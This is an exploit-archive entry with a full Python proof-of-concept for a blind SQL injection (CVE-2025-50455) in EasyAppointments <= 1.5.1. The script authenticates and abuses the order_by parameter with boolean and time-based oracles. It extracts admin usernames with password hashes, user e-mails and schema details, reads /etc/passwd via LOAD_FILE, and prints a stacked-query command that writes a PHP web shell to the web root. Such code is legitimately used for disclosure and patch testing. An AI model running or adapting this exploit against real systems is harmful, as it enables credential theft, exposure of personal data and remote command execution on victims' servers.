# Exploit Title: EasyAppointments 1.5.1 - Blind SQL Injection
# Google Dork: N/A (backend login required)
# Date: 07/27/2026
# Exploit Author: Michael Chesang
# Vendor Homepage: https://easyappointments.org
# Software Link: https://github.com/alextselegidis/easyappointments/releases
# Version: <= 1.5.1 (REQUIRED)
# Tested on: Linux (Debian, Docker), MySQL 8.0.46, PHP 8.2.28
# CVE: CVE-2025-50455
=== Description ===
A blind SQL injection vulnerability exists in the order_by parameter of
the /index.php/customers/search endpoint in EasyAppointments <= 1.5.1.
The parameter is passed unsanitized to CodeIgniter 3 Query Builder
order_by(). Parenthesized subqueries bypass backtick escaping via CI3's
protect_identifiers(), enabling arbitrary SQL injection.
Dual-mode extraction:
- Boolean (~0.1s/query): (SELECT IF(condition, id, -id)) DESC via JSON order
- Time-based (~5s/query): 1 ASC, (SELECT IF(condition, SLEEP(5), 0))
=== PoC attached: poc_CVE-2025-50455.py ===
Usage:
python3 poc_CVE-2025-50455.py --url http://target/ \
--username admin --password secret \
--mode bool --target version
=== References ===
https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-w45h-26pc-4gr9
https://github.com/alextselegidis/easyappointments/commit/0f0d71cfe0692daed9aee59bc424ce2a084fd59e
https://github.com/threatlance-org/security-advisories/blob/main/CVE-2025-50455/advisory.md
import argparse
import json
import re
import sys
import time
import requests
import urllib.parse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
BANNER = r"""
_______ _ ________ ___ ___ ___ ______ _____ ____ __ _ ____
/ ___\ \ / /__|__ / __| |_ ) / _ \|_ )|__ /__|/ ____| ___|| \| | ___|
| |__ \ V / -_)/ /| _| / / | (_) |/ / |_ \_ \___ \|___ \| |___ \
\____| \_/\___/___|___| /___| \___//___|____(_) ____/ ____/|_|\__|____/
CVE-2025-50455 · Blind SQL Injection · EasyAppointments <= 1.5.1
POST /index.php/{customers,admins,providers,...}/search → order_by
Dual-mode: boolean (~0.1s/q) or time-based (~5s/q)
Author: Michael Chesang
"""
ENDPOINTS = {
"customers": "index.php/customers/search",
"admins": "index.php/admins/search",
"providers": "index.php/providers/search",
"services": "index.php/services/search",
"service_categories": "index.php/service_categories/search",
"webhooks": "index.php/webhooks/search",
"blocked_periods": "index.php/blocked_periods/search",
}
LOGIN_PATH = "index.php/login"
VALIDATE_PATH = "index.php/login/validate"
SLEEP_SEC = 5
SLEEP_TOL = 1.5
def die(msg: str):
print(msg, file=sys.stderr)
sys.exit(1)
def extract_csrf(html: str) -> str:
m = re.search(r'"csrf_token"\s*:\s*"([a-f0-9]+)"', html)
if not m:
die("[!] Could not extract csrf_token from page.")
return m.group(1)
def login(args) -> requests.Session:
sess = requests.Session()
sess.verify = args.verify
r = sess.get(urllib.parse.urljoin(args.url, LOGIN_PATH), timeout=args.timeout)
if r.status_code not in (200, 302):
die(f"[!] Cannot reach login page: HTTP {r.status_code}")
csrf_token = extract_csrf(r.text)
r = sess.post(
urllib.parse.urljoin(args.url, VALIDATE_PATH),
data={"csrf_token": csrf_token, "username": args.username, "password": args.password},
timeout=args.timeout,
)
if not r.json().get("success"):
die("[!] Authentication failed – wrong credentials.")
print(f"[+] Authenticated as '{args.username}'")
return sess
def send(sess, args, order_by: str) -> requests.Response:
search_path = ENDPOINTS.get(args.endpoint, ENDPOINTS["customers"])
url = urllib.parse.urljoin(args.url, search_path)
csrf_token = sess.cookies.get("csrf_cookie", "")
data = {
"csrf_token": csrf_token,
"keyword": "",
"limit": 20,
"offset": 0,
"order_by": order_by,
}
return sess.post(url, data=data, timeout=args.timeout)
def timed_send(sess, args, order_by: str) -> float:
t0 = time.monotonic()
send(sess, args, order_by)
return time.monotonic() - t0
def delayed(elapsed: float) -> bool:
return elapsed >= (SLEEP_SEC - SLEEP_TOL)
# ── Boolean Oracle ────────────────────────────────────────────────────────
def find_ref_id(sess, args) -> int:
"""Find the ID of the first row when sorted by id ASC.
Reference anchor for boolean oracle — stays constant on FALSE.
Returns -1 if only 1 row (boolean mode unavailable).
"""
try:
r = send(sess, args, "id ASC")
rows = r.json()
if len(rows) < 2:
return -1
return rows[0]["id"]
except Exception:
return -1
def bool_oracle(sess, args, condition: str, ref_id: int) -> bool:
"""Boolean oracle via ORDER BY manipulation.
Payload: (SELECT IF(condition, id, -id)) DESC
TRUE → first row has id != ref_id (sorted by id DESC)
FALSE → first row has id == ref_id (sorted by -id DESC == id ASC)
"""
payload = f"(SELECT IF({condition}, id, -id)) DESC"
try:
r = send(sess, args, payload)
rows = r.json()
if not rows:
return False
return rows[0].get("id", 0) != ref_id
except Exception:
return False
# ── Time-based Oracle ─────────────────────────────────────────────────────
def time_oracle(sess, args, condition: str) -> bool:
payload = f"1 ASC, (SELECT IF({condition}, SLEEP({SLEEP_SEC}), 0))"
return delayed(timed_send(sess, args, payload))
# ── Binary-search extraction (shared) ─────────────────────────────────────
def get_length(sess, args, oracle_fn, expr: str, max_len: int = 512) -> int:
lo, hi = 1, max_len
while lo < hi:
mid = (lo + hi) // 2
if oracle_fn(sess, args, f"LENGTH(({expr})) <= {mid}"):
hi = mid
else:
lo = mid + 1
return lo
def get_char(sess, args, oracle_fn, expr: str, pos: int) -> str:
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
if oracle_fn(sess, args, f"ASCII(SUBSTRING(({expr}),{pos},1)) <= {mid}"):
hi = mid
else:
lo = mid + 1
return chr(lo) if lo <= 126 else "?"
def extract(sess, args, oracle_fn, expr: str, label: str = "", max_len: int = 256) -> str:
tag = label or expr
print(f"\n[*] Extracting: {tag}")
length = get_length(sess, args, oracle_fn, expr, max_len)
print(f"[*] Length = {length} chars")
result = ""
for pos in range(1, length + 1):
ch = get_char(sess, args, oracle_fn, expr, pos)
result += ch
print(f" [{pos:03d}/{length}] {result}", end="\r", flush=True)
print(f" [{length:03d}/{length}] {result} ")
return result
# ── Target expressions ────────────────────────────────────────────────────
TARGETS = {
"version": ("@@version", "MySQL version"),
"user": ("USER()", "DB user"),
"database": ("DATABASE()", "Current database"),
"datadir": ("@@datadir", "Data directory"),
"hostname": ("@@hostname", "Hostname"),
"secure_file_priv": ("IFNULL(NULLIF(@@global.secure_file_priv,''),CHAR(78,79,78,69))", "secure_file_priv"),
"tables": ("(SELECT GROUP_CONCAT(table_name ORDER BY table_name SEPARATOR ',') FROM information_schema.tables WHERE table_schema=DATABASE())", "All tables"),
"columns": ("(SELECT GROUP_CONCAT(column_name ORDER BY column_name SEPARATOR ',') FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='{table}')", "Columns of `{table}`"),
"admin_creds": ("(SELECT GROUP_CONCAT(username, CHAR(58), password SEPARATOR '|') FROM ea_user_settings LIMIT 10)", "Usernames + password hashes"),
"user_emails": ("(SELECT GROUP_CONCAT(email SEPARATOR ',') FROM ea_users LIMIT 20)", "User e-mail addresses"),
}
# ── Modes ─────────────────────────────────────────────────────────────────
def mode_bool(sess, args):
"""Boolean-based extraction via ORDER BY first-row oracle. Fastest mode."""
print(f"\n[*] Mode: boolean-based extraction")
print(f"[*] Endpoint: {args.endpoint}")
ref_id = find_ref_id(sess, args)
if ref_id < 0:
print("[!] <2 rows in response — boolean oracle unavailable, use --mode time.")
return
print(f"[*] Reference ID (FALSE anchor): {ref_id}")
oracle_fn = lambda s, a, c: bool_oracle(s, a, c, ref_id)
expr_label = TARGETS.get(args.target, TARGETS["version"])
expr = expr_label[0].format(table=args.table)
label = expr_label[1].format(table=args.table) if hasattr(expr_label[1], 'format') else expr_label[1]
value = extract(sess, args, oracle_fn, expr, label)
print(f"\n[+] {label}: {value}")
def mode_time(sess, args):
print("\n[*] Mode: time-based confirmation")
print(f"[*] Payload: 1 ASC, (SELECT SLEEP({SLEEP_SEC}))")
print()
elapsed_vuln = timed_send(sess, args, f"1 ASC, (SELECT SLEEP({SLEEP_SEC}))")
elapsed_safe = timed_send(sess, args, "update_datetime DESC")
print(f" Injected (sleep) → {elapsed_vuln:.2f}s")
print(f" Benign (no sleep) → {elapsed_safe:.2f}s")
print()
if delayed(elapsed_vuln) and not delayed(elapsed_safe):
print("[+] ✔ VULNERABLE")
else:
print("[-] Timing inconclusive – check connectivity/firewall or increase --timeout.")
def mode_enum(sess, args):
"""Extract arbitrary data via time-based oracle."""
expr_label = TARGETS.get(args.target, TARGETS["version"])
expr = expr_label[0].format(table=args.table)
label = expr_label[1]
print(f"\n[*] Mode: data enumeration ({label})")
value = extract(sess, args, time_oracle, expr, label)
print(f"\n[+] {label}: {value}")
def mode_schema(sess, args):
tables_to_probe = [
"ea_users", "ea_appointments", "ea_services",
"ea_providers", "ea_settings", "users", "admins",
]
if args.table and args.table not in tables_to_probe:
tables_to_probe.insert(0, args.table)
print("\n[*] Mode: schema enumeration via IF(EXISTS(…), SLEEP, 0)")
print(f"[*] Probing tables: {tables_to_probe}")
print()
found = []
for tbl in tables_to_probe:
cond = (f"EXISTS(SELECT 1 FROM information_schema.tables "
f"WHERE table_schema=DATABASE() AND table_name='{tbl}')")
payload = f"1 AND (SELECT IF({cond}, SLEEP({SLEEP_SEC}), 0))"
print(f" Testing '{tbl}' …", end=" ", flush=True)
elapsed = timed_send(sess, args, payload)
if delayed(elapsed):
print(f"EXISTS ({elapsed:.1f}s delay)")
found.append(tbl)
else:
print(f"not found ({elapsed:.1f}s)")
print()
if found:
print(f"[+] Confirmed tables: {found}")
else:
print("[-] No tested tables confirmed.")
def mode_outfile(sess, args):
outfile = args.outfile
readfile = args.readfile
shell = '<?php system($_GET["cmd"]); ?>'
print("\n[*] Mode: FILE privilege exploitation")
print(f"[*] Read target : {readfile}")
print(f"[*] Write target: {outfile}")
print()
# Step 1: check secure_file_priv
print("[*] Step 1 – Enumerating @@global.secure_file_priv …")
try:
sfp = extract(
sess, args, time_oracle,
"IFNULL(NULLIF(@@global.secure_file_priv,''),'UNRESTRICTED')",
"secure_file_priv", max_len=128,
)
print(f"\n[+] secure_file_priv = {sfp!r}")
file_priv = "UNRESTRICTED" in sfp or sfp == "" or sfp.upper() != "NULL"
except Exception:
print("[!] Could not determine secure_file_priv, assuming restricted.")
file_priv = False
# Step 2: LOAD_FILE read
print()
print("[*] Step 2 – Reading file via LOAD_FILE() sub-query …")
if not file_priv:
print("[!] FILE privilege unavailable – skipping read.")
else:
file_len = get_length(
sess, args, time_oracle,
f"IFNULL(LOAD_FILE('{readfile}'),'')", max_len=65536,
)
if file_len == 0:
print(f"[!] LOAD_FILE('{readfile}') returned NULL – not readable.")
else:
print(f"[+] File is readable ({file_len} bytes). Extracting first 512 bytes …")
content = extract(
sess, args, time_oracle,
f"IFNULL(LOAD_FILE('{readfile}'),'')",
f"LOAD_FILE({readfile})", max_len=min(file_len, 512),
)
print(f"\n[+] File content ({readfile}):")
print("-" * 60)
print(content)
print("-" * 60)
# Step 3: stacked-query write (theoretical)
print()
print("[*] Step 3 – INTO OUTFILE via stacked queries (theoretical)")
search_url = urllib.parse.urljoin(args.url, ENDPOINTS[args.endpoint])
stacked = f"update_datetime DESC; SELECT '{shell}' INTO OUTFILE '{outfile}'-- -"
print(f" curl -X POST {search_url} \\")
print(f" -b 'ea_session=<your_session>' \\")
print(f" -d $'keyword=&limit=20&offset=0&order_by={stacked}'")
# ── CLI ───────────────────────────────────────────────────────────────────
def parse_args() -> argparse.Namespace:
p = argparse.ArgumentParser(
prog="poc_CVE-2025-50455",
description="CVE-2025-50455 – EasyAppointments <= 1.5.1 Blind SQLi PoC",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=__doc__,
)
p.add_argument("--url", required=True,
help="Base URL (e.g. http://172.17.0.1/)")
p.add_argument("--username", required=True, help="Backend username")
p.add_argument("--password", required=True, help="Backend password")
p.add_argument(
"--mode",
choices=["bool", "time", "schema", "enum", "outfile"],
default="time",
help=(
"bool – boolean extraction via ORDER BY (fastest, need 2+ rows)\n"
"time – time-based SLEEP confirmation (default)\n"
"schema – probe table existence via SLEEP\n"
"enum – time-based data extraction\n"
"outfile – LOAD_FILE() read + write analysis"
),
)
p.add_argument(
"--endpoint",
choices=list(ENDPOINTS.keys()),
default="customers",
help="Vulnerable endpoint (default: customers)",
)
p.add_argument(
"--target",
choices=list(TARGETS.keys()),
default="version",
help="(enum/bool mode) what to extract. Default: version",
)
p.add_argument("--table", default="ea_users",
help="Table name for --target columns / --mode schema")
p.add_argument("--outfile", default="/var/www/html/shell.php",
help="(outfile) Server path for shell")
p.add_argument("--readfile", default="/etc/passwd",
help="(outfile) File to read via LOAD_FILE()")
p.add_argument("--timeout", type=int, default=30,
help="HTTP timeout (default: 30)")
p.add_argument("--no-verify", dest="verify", action="store_false",
default=True, help="Disable TLS verification")
return p.parse_args()
def main():
print(BANNER)
args = parse_args()
if not args.url.endswith("/"):
args.url += "/"
print(f"[*] Target : {args.url}")
print(f"[*] Endpoint : {args.endpoint}")
print(f"[*] Mode : {args.mode}")
print(f"[*] Timeout : {args.timeout}s")
sess = login(args)
dispatch = {
"bool": mode_bool,
"time": mode_time,
"schema": mode_schema,
"enum": mode_enum,
"outfile": mode_outfile,
}
dispatch[args.mode](sess, args)
if __name__ == "__main__":
main()